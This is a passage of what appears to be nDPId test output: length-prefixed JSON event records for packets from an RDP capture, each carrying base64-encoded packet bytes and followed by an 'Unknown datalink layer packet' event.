packet","thread_id":0,"packet_id":1037,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1038,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107636,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhkkAAfwYmw8CoAo6sEAK5DT3NDkeddX\/5vRH5UBj2HzmGAAACflU4ml3G\/7\/L8jEGfAmQ\/LAZG5trTOJQruZmhN7wDko5H1ulIEj4jTV5XLRo+ghYF6PxCgfnP1UrzqyZvBpRjB0vSZOcfjGJunNgre4692vrfuRugXoUNrJc69qke4ydTS20EGWwtXPxr0ZeYn4ysbuQa2hgRwYTepR4rbpIT6Hk9LW4gd8u2Escl45Tq3j9m9tFQTIcvVlRJzc7cNwKhBzsJjKdJpIAMDE9O7GwkabWTtP8rAuFbfDuWND82TxQMIjRvnmA+KHvdN62+qVYLZwsG9CmZSCiFVF2WHRHeDFRTBfht7OoOq0qzlr0Jh6zPTalHg3qEvpKLx2pkYPO1qZlWaqHcD+\/Utjm5V4kcfTYgEdXpQWAFEzK7ydz0Zpe2oUPlJ8KkJy5Mqg946ulx\/yIYrpwu8nhU1ogBk0DpaUQPVct6OPmHp740ddrmqpPTYMqMGMtm6Vj9BG8UbjUnxNEBDYZD08g2UFF5OBmHxCjEC5pqM\/ZxWVB"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1038,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1039,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107671,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E4xHnXb6UBAf9HezAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1039,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1040,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107907,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhk0AAfwYjRMCoAo6sEAK5DT3NDkeddvr5vRH5UBD2H37QAAAXAwMGbwAAAAAAAAFNM8a+n\/3lbaE3t76dkaZZkpFOUY0qsN1bPG0lcFYryyTh\/vH4TcUUIgM8c084OaSj9H2W5QuWgbxguYqqr0fkTyY31Y5u5Cdz4O27b+EVHNJkKVsGU5CRt7\/SbjY2hVOJ+ZeBUcKPE0jUolefciAl351owPEbml1sy37ao+dp3p8ASxBlBi9T+k1TR5lEycbQmEHRlGXcbxykh1fs8q\/lUAlpd6YY8WeGj5WE3ddurDAnzZmWZtiAw5vxR0eL9A2wg\/2ecUcXAfi5LwlLAP9ZtAmcwxPm+srmdzlPcl3f8+8azcOM\/W7UhLv2be6+APWikANt3t1VvO2PNRrGjDqUswFH6rz3qF01GBAChf4yDTiiDW0z4sYqapEEq9BO0CgxKMnHu69G2rDSCGlNDTU5K4cBUYyXrq0ZsPyKj26WQQyhgNh+3Jcfpby\/kU+HGftwc0gGWcLOTktEl\/WnvH5em8xueamdFVG+AeVJbi8FVIQyjoy1jwjy\/aZG1JAWQ\/8pJrfOKGvKQ96BSuFCkXNHiralXsDMnn2BICF9TQVTH5an+kb3hTT3X6rATDCtsgtZ8th8HoPIGMa\/bx1NW8LvF\/zGxgeBynIoTgNvk3uauenb5X+yZLXEcNecu2IdPWIdXH\/dJMOSbviTBrZKB6v5wFfFmcwZz+t5Pqn6dhUGFzRXx35jnIwJxcBsl4Ffd1EbzvJuzsR4hDiaprT2b\/sZg8bpjvXeJ4hOMyRLXwTC91TKvRTJy6Q4OKQt2iKXaqc1wt8ymfm6Z5sdheBd0LLjkgZlp5FEdlkO0B15yyylvHBod5AORSWhmGqUl8tIGYq+MQi2EscUjaTjvKZWOY++nT1zS3KT7e3l9fJpTUThfQehIXp3xwJ1BAsQleMpSU8JQBJqjoo+C071uIupeAs66\/KCl0etVEJITFld\/EkbD4TApL1WOQo1URGEWJ12MPGBbYOa1amPCkrCmIRIX0FN3UBQvWlKlcQTHlWBJUXQyKyl4m8z\/TFXXM27IqSllITYBBbpvctKZ91lsADrShD7P0ahkYS2k\/WRXuDNls2pIjIic\/9v9Oiv+GteLNHSMa\/sTzu8vk6Ret2WpmVeIeSziCedwXabJLhAwAvAJhrMJ8cKzC2h0xVXaX4QiqiUHeZpWyTKV6YUNIQBW5zl8Uhoxep4M6S8JgQfkNj0jvL3v4uBRiTVyJFwcYLS1K8lIDPJoy58MqY0AEV+zT0eU5F2bRwZDPZPYg4ahVzS1R08e9Dg1f5GEZYQ\/AnSCZc9TcFatB11hf0Q+LVfrzXb2MlYvxxf8mV+FY+YL4Tk6xtOHhm8aQDDGSElEw4wdx73P479jrqrRvWSSxrBffLkmxKfcwB9PyMYLCqhUYcJxSW6usU1zuh3yH+UL0001szrnv5JKuktQ+e+\/omFA36CCz7iqkrkUDgYISkMmu7VvcesZIyYxcf6mirA99FJF3gk+bNHn7nygapQcBixCMA45FjcRmT1bsnRmloFg9wWK0JxhA0jquMYh7vM1lsIcqYJ70ciVAMEepK0iFgOoomQDKGajFBBRthcSbsOsPRiTFKG\/hg46kv7KP5tKHzCSaY250ZdogcO29vC7jRME1dAN+KWHtY+TVasqb4NCsmBjS1TfmauKoj8KkJZQgvKuuloKfFnZXnxO5jp\/eC530nr"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1040,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1041,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107951,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhlEAAfwYmwcCoAo6sEAK5DT3NDkede\/P5vRH5UBj2H+n9AADGHLRtgxYVRPgSGfjj7hySp403WQBFH\/y8g8JGOtMxqRwGgP7nolyM44OpLCem0E1HQ6DB+E\/0SU1DPT8R+NxefDWiFMS5iMyNbvZvhMC+PF0GBANEay\/8U2thCuJNXDc1zdiQzvLGoVl\/mPl96vRMIgFYxdIDvl\/N4E2NtT0Ta5JaKhSdcg1cQilN13JNSy8dbou13mwWTTANWin+PJETpMKoSJb6etmM9TTIoEeSVrDSahm8MLe4ivRjgwUidAIOi+jdpq1fntgRIjwhb5vgwpuxhXuw7IPqwu7sjyujTbi1sCmrbWXsv6loiqKAcwxc5Owsi2DWHzXeLXTpqCnpPwVRL2QoxPAdUK\/q9Unp56boGPPX5WW6ltdy+A0hqQtRvt5baT1NrefYwhwaA8Hpk3p2dg9oyEut25LREjaDKyhpByNfgrzk9bcC9mmVDSmHzlh23p4\/HIp26oW5ky9DoIHNqOdS1ULA8IhxQ4kaKqiczaRGVCaJwm35"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1041,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1042,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107991,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E4xHnX1uUBAf9HE\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1042,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1043,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":108174,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhlUAAfwYjQsCoAo6sEAK5DT3NDkedfW75vRH5UBD2HwcBAAAXAwMGbwAAAAAAAAFO9TEJSpGpb\/mAWTFOGqjTPF8fQ+YBuNqHyffVDUFnvJcJ3rQ\/q\/Ysl2hlS0lIRw7rzerIsWWOkg4brGkBiizMWSKeYOzqBk+Eo7dk7Fk3czEwjtfrQSbGwBf59lqTrJ+Ry+t8TOwEZVM0VJNgfowV1YPOObSIyazghO+4fDhhhGKtE9YJll4Uz3cy1OpXuooiKKK5aoPtw2TO6VMto5IrR2A6BgMdN+8bXhdabG02fjqiDSRTvMnKfAE6skTQT6SfFg6FuDFk+Ng9E7pjPoHjmrgC5Haymtv92Lq55NVDTL\/tch\/So7cwGLlCmN0BrHEyLjapRew6GvAsiVhzM3aLxjIibZKX5uQ7MF5QVya2iNTsHwHDzoD9FajTSlE1N6yjZfvFrfi+pZz7b3O0SICVJ9Pfauc1+ao6iSTiqSRqZaqBia+I6RaaZpWbaPv5t45GVppHXjm\/ypEr7tHv8aovCMqOBMrGGqHRHwotZGyCr+8Oi2uTffZZLV1FmimuIGHF75ptsiU2QMGWe+MS8NJxwLOjvN52qsZnwBK9PnVoLi7rwE4eqD3Dl+vYTZolVuUvLQ99GN42ZoQPEs4rw9DwQTqQG\/OXGWMpNwcaFlLzM\/lc0zarWPhf22Cs2YJO\/7obTtOqtw5yg6LNVAPN+nhakhACGA6\/SrkLQPY9hiZGfdkmj69UyYakMl14CuISJ9oaihSmjBl1LgSlH3lM\/nXXVQCrh4cTQQggyAobhGlQOL45tqyjqEf9DNpZ6IJYdBpbcESIUbF05bt9zbk+dd5Kberuiral2AAKpWeYZeXk9usiZ\/91gAgxkTSde39b7mXH3lVphxx6Y+\/ITjUHO\/OKr4+hTgKM80fFSHevk8TsIPV5iy5ufQfIW22a\/LZDzNRv+P7g5AAY1gO0ud9z+Rs9+PG\/\/i8WIaZh3aUnPWsoT7wL+Mna2hw1bK5lDEUtYebva5cjqHF4Kunl7U1hj7JJ+wihBHKL1lqrMC0OJfas5gKsurpJd1jzQTwxLGg4MDwsV+Vsjx5klsSA5EqIhbPcYdeGvZ7Ktx1TqAg1UnuB0Tat0H\/OplWUBWQnW8Y4LOU0a1bTSpNp0KJMVy977+Q26bbBcJ+XgMiJ66Qtoz7nhXJX0dpTmNDzhZ8ajvJ+OZcxQsT53uYl8QusQgmBSDpxLNlpFTa\/qFPtcsu688DYYmiOXT6Mcf6v1lxwxMOG2Jha67JyF+FTjVle2cXi9jC9frisSdRn5QU3XntK3fiDt8HHI4kQ5R9l5FP9+SHroKsGmx3UXqi8BUhW287LzeFso9XJwRuT5BcKdf7kGTITkRa7bYZKOap1ak78YKCM\/aW4DtLrRWOgM0TYIgFlDGR4\/TCLXS1pzzndemTA2PgloQ4ySEeH93vDzXCDjSmzDdBucgldOIO7Hpub495N5a3FsK7pSnMZ8RMk3Wwjk1LgRfEe3RzHwBBWxshJcg\/8P87eWBhgA06bKnc4bh1I6TY5Flwk3FjlTZKL0it4QJX7U1P6dL12K3hHNIjnc9gplQglFU9arB\/3uBD7DnvWOhRlrZrD7BfViDuPU0QRtePo5R3Sl8u4rI4maj03zc3WOvPeEEEBeCLUCNGEm\/QF\/OPxvrNWpNSgTTsYSeveEKB9tueJXRyfAX6iE7USwNo4dc94EDa6W3akB9Y3LEo9"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1043,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1044,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":111073,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhlkAAfwYmv8CoAo6sEAK5DT3NDkedgmf5vRH5UBj2H5cwAAD7fd85rkUUtWdiaCOMTd+EUuzu3H3eLeAgRJAAUiX5URHZqe1xOUCwTYFrilwtUOS\/up9a1vPlCHGlSZ32NYYoo8sl2IKD9S2HVrlUSZnL3m+kThmwTO31fw0nfzPiNWJQTGQ72nJVTWDnnIf7rCoMYcdDX+wcYcq740JJYWX1c2+H5CzMVj4xC1NjtQMSmdQmV\/CFW7M1NYJl7AhzLkMcHWUzcSt8ZUKYVRLt2S6RNHuAS6wKQ9WBrPqK\/M2xpdAfRqLFdLnX2TqU3HyU7E1D+rfPsf6CfJqda7\/0LTBly+9p4AbeWd9v5jwzirPV6dLAf5Xbm3xxIYfJtVyUVnfLFyKVEsZO\/Xz6pSOljixws51EVQWx+reNWAx8KE+QlUXVEDlyT1XsFH8IA6BTHWS6HWy0b9Ra3Vfc\/8B49MuP6Be20lkt3wI+Zl4PHlZY4FZmK4aNLuHvlSwe5lzxRnTAmEe1zFa0fZNCk6XMuPh0urvXSZiWZQ01vKRg"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1044,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1045,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":111127,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E4xHnYPiUBAf9GrLAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1045,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1046,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":111147,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hl0AAfwYoBMCoAo6sEAK5DT3NDkedg+L5vRH5UBj2H3oNAAAXAwMAMAAAAAAAAAFPaniP8Z8nS5vPpk7mhZCbZs3jP8QicTQ1qdOs5YOr8Fj3VGocW4TSzw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1046,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1047,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":111353,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E4xHnYQXUBAf\/mqMAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1047,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1048,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":111542,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9E4xHnYQXUBggAA6EAAAXAwMAOOAIO32NJwv6sB+VHagVedYVJz+YpgIC2Nm1pDTSst9IlphvLLRoC1P1CM4BzgGeKHPsx7mEnr+9"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1048,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1049,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136377,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhmEAAfwYoOMCoAo6sEAK5DT3NDkedhBf5vRJrUBD1rZX9AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1049,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1050,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136427,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhmUAAfwYoN8CoAo6sEAK5DT3NDkedhBf5vRLdUBD1O5X9AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1050,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1051,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136469,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhmkAAfwYoNsCoAo6sEAK5DT3NDkedhBf5vRMaUBD6AJD7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1051,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1052,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136512,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hm0AAfwYoAMCoAo6sEAK5DT3NDkedhBf5vRMaUBj6AHsLAAAXAwMAMAAAAAAAAAFQvAWQ5AfbnZTHe9roUiDZZ4AO8MCJMKIGl4UAXEq8PNksqFlyzLLf6Q=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1052,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1053,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136553,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVhnEAAfwYn98CoAo6sEAK5DT3NDkedhEz5vRMaUBj6AM38AAAXAwMAOAAAAAAAAAFRqUKVSZzcfEvjrXb\/tF0BL7TKmneM4p8MzrkJB78x0chuUzOQ0efkGkPgwa\/2QOCM"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1053,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1054,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136574,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E8lHnYRMUBAf\/moaAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1054,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1055,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136592,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hnUAAfwYn\/sCoAo6sEAK5DT3NDkedhIn5vRMaUBj6ANaeAAAXAwMAMAAAAAAAAAFS9TMzp8bBxuLf\/V3aHGi126e3GA3lOiJosataQqXlE7cLSdfG1ZOc6w=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1055,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1056,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136678,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E8lHnYSJUBAf\/GnfAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1056,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1057,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136795,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhnkAAfwYjOcCoAo6sEAK5DT3NDkedhL75vRMaUBD6AInXAAAXAwMGbwAAAAAAAAFTzZoxhEsggBbC2QGiumyfTqA0AsMba2VLc8HCHiX8hVeaUvc8h2dpUrK0DAtnhRto26mZXj4uWRCL3iJX7korI7exkv77PPlxoqhiSv\/JrZP9E9czuZyq2tHmGVhvyExSYWwCKZaLaTSfNr0b7V0nfRlppI0bLUrbr\/eyvYXZw5mkpQTuvUr+gGg6frmtd8Y2Ikn5lMm0LLguogvx+vwM3STTj5zxvoR38A7D+CRVDJwSiZqNXfXQQVT\/\/SMfnHjPGaeoRVqWaybTjcdyn3E0PKb3zmAdAdrkOVnxS3ON2+08\/cRTCe\/m3\/IG8j5HHJJpw0h5UWTG7FUkWGJfudncw99YAFVRcKTkGt6jjIdM3DK0mPWRP0ElRAkKRHYDXtiwZkrPn6gazgE34055W0Z4ZtQPXDlMCUeS3\/sG5gAmtrO8oWH6Nz\/vTq+FqNTictPwaS3CC2kdm8HnEc\/+vQ\/0W3LgBnOGCSB2W1xjvox8R8u9azAYBhWQvBUaBGPNfyLD5TDKR0iatAFUzfc8w3mVqSVM6IwuttnuACsN5y54c7kIqnImEN6tJMmIIBq7PwdCg6ygNuliktfpGO1WQM2d3j0xHlnMZnkdPdKKOothSlkTtFmKo0oFG8KavqatW51YM1d8n377kwVfbkgZtgecBSKPIes+1TtlvERD0HYETXcPk2yefa3bn4olYo7kbGha51n6feQtwydmMy830TMpr0YDevCR3co0pyv8E73NiyCU68ejsNX+5uwE7t1aRoR4VbBJfb6ye9PgmjXY5YyD0P8Gx3UqGRGHQYaRPVA5ovr8fMYOUvfXodCx9XPUQF0j3uYgO4Rm26J0Cl912PvHwj6wMcfCFtNHVqGtWZzRYmNrTqiVAY8LaeeQuRMj4AKkLRD9degmIGbHumVINYIMabXwloh1W1UUfE+q\/7Ma4dFDO+dZgJXlbwXFyKyP3EDTNcKfIe87oAhz5rrtWBxVTY2p6yxyDIBPc6UNtu3B3Hb1s4+phNnZm\/ot\/RVQhUzR0x49EVlsMZQkr3JtQ+EU+bsDcDYSls9yWL2gPOw60Z173Bp7Mrhq6RECkSTerXnx7f5Wj2BJoqGCQAUTiU7XN6gp3+gGq99X9Pj+rgjTDL+sBsP3hoo+6ixvSGJZzIUDWRwbiI4XRw3ARvJe1EWBW0FvFWavZUPUKIgNoOc9f17\/j4c3ZNI0K0kblRtPtSHQvDOrIt5C8nWulCRd22c+4lmGP1LMfZVPZLEsKMB5BIeIq5kvS00Wm2i99g++xyQ0H0MscN1nhfX4kjHhTRYUv99La5+L3Tq2BCwny7LXxx+OwxE4\/PM8AeeWGHnb3isl6LLSo3Kyx6HgEcfZ1yzrMzrLvHwYjc2XB3raw9XlMrK6Lb5bVRB\/0dIxknPQPZY4iwCVhpIiqU+zkle7t3NIEabjmfz3r6HIOKiMdZEEByM1c8HVMLzYfD2WAHL9nr8DxQ+uFGgjfdEE8mBbQjq4Lr12QJYR+RXmVdd0ljHP9aIy2lY6SapCM53E5+bdss1L5ozGi8+AlMcKQaT8rWR656JbDt48zjZxwrAJHZsdKABBW4WAsjlHyVZKWpiAtZLV+awSIeZeEhccGrHLJDTMjT30HnF5qPKKJoU65gaPMKyQL+8fohczUHBgldenoKqHZFpXjnQWlihV6anQ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1057,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00874{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1058,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136839,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhn0AAfwYmtsCoAo6sEAK5DT3NDkedibf5vRMaUBj6AJ4oAAAm5bZhG4xs6BaR1eLZUz9D\/\/9oFBq749lTHvby7JmY5GgPGHcVGLHuWZzl2yttQCqVXqCqOL7RuAvBba7aS3mDvfwT80Pthj1geQVYwEkR2PGcHZxIUTYBMSqb\/pnuhTylMV2uKSzi6Wtx7qEuK8rJmWC42YFKCXThy3Nme\/1466PpAXmgn6b\/f\/HFQwkPESJfUbjCqefPkVx\/TxgErBb3mUJFUwe5DJ+2O\/x9YTlv1\/MeypNLRhMCdA7Ug6VI\/OYX\/CggeajdjgkCIzBiYfwOBing\/uf0jBAszcbiHnwIjmgwpP9mTdf87aYoYw42ixdyYAiYpH\/Rb1N1kSUqN3W03+\/y\/P8B0+WJAvfuJWu9V\/fR1qZA8gQzkYgfkrvM1Ci99Iv4\/dVSESbzOILs2GoOUWrIpRofUzwDPTFF2cirQ4r0uwwZ4MvjWxKWm2UmewqtI9dEQM4Dac6HCNFbD3xBw0M7rV57RxCtx8Nn0yoZPCAFfllXZnW2fbD5"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1058,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1059,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":136878,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E8lHnYS+UBAf\/mmoAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1059,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1060,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":137065,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E8lHnYsyUBAf9GM+AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1060,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 